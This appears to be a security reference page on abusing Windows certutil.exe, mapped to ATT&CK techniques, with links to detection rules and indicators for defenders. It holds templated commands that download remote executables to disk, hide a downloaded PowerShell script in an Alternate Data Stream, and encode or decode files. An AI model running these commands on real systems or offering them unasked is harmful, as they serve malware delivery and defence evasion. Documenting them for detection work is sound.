01 / TRADECRAFT
7 examplesCommand reference
Download3
EXAMPLE 01T1105
Download and save an executable to disk in the current folder.
COMMAND
certutil.exe -urlcache -f {REMOTEURL:.exe} {PATH:.exe}EXAMPLE 02T1105
Download and save an executable to disk in the current folder when a file path is specified, or `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>` when not.
COMMAND
certutil.exe -verifyctl -f {REMOTEURL:.exe} {PATH:.exe}EXAMPLE 03T1105
Download and save an executable to `%LOCALAPPDATA%low\Microsoft\CryptnetUrlCache\Content\<hash>`.
COMMAND
certutil.exe -URL {REMOTEURL:.exe}ADS1
EXAMPLE 01T1564.004
Download and save a .ps1 file to an Alternate Data Stream (ADS).
COMMAND
certutil.exe -urlcache -f {REMOTEURL:.ps1} {PATH_ABSOLUTE}:tttEncode1
EXAMPLE 01T1027.013
Command to encode a file using Base64
COMMAND
certutil -encode {PATH} {PATH:.base64}Decode2
EXAMPLE 01T1140
Command to decode a Base64 encoded file.
COMMAND
certutil -decode {PATH:.base64} {PATH}EXAMPLE 02T1140
Command to decode a hexadecimal-encoded file.
COMMAND
certutil -decodehex {PATH:.hex} {PATH}02 / ON DISK
Known paths
C:\Windows\System32\certutil.exeC:\Windows\SysWOW64\certutil.exe03 / DEFENSIVE INTELLIGENCE
8 resourcesDetection & indicators
- Sigmaproc_creation_win_certutil_download.ymlgithub.com
- Sigmaproc_creation_win_certutil_encode.ymlgithub.com
- Sigmaproc_creation_win_certutil_decode.ymlgithub.com
- Elasticdefense_evasion_suspicious_certutil_commands.tomlgithub.com
- Elasticcommand_and_control_certutil_network_connection.tomlgithub.com
- Splunkcertutil_download_with_urlcache_and_split_arguments.ymlgithub.com
- Splunkcertutil_download_with_verifyctl_and_split_arguments.ymlgithub.com
- Splunkcertutil_with_decode_argument.ymlgithub.com
Indicators & detection notes
- IOC
Certutil.exe creating new files on disk
- IOC
Useragent Microsoft-CryptoAPI/10.0
- IOC
Useragent CertUtil URL Agent
FURTHER READING
Research & resources
COMMUNITY RESEARCH
Acknowledgements
Matt Graeber@mattifestation
Moriarty@Moriarty_Meng
egre55@egre55
Lior Adar
Adam@hexacorn
SomeTestLeper@SomeTestLeper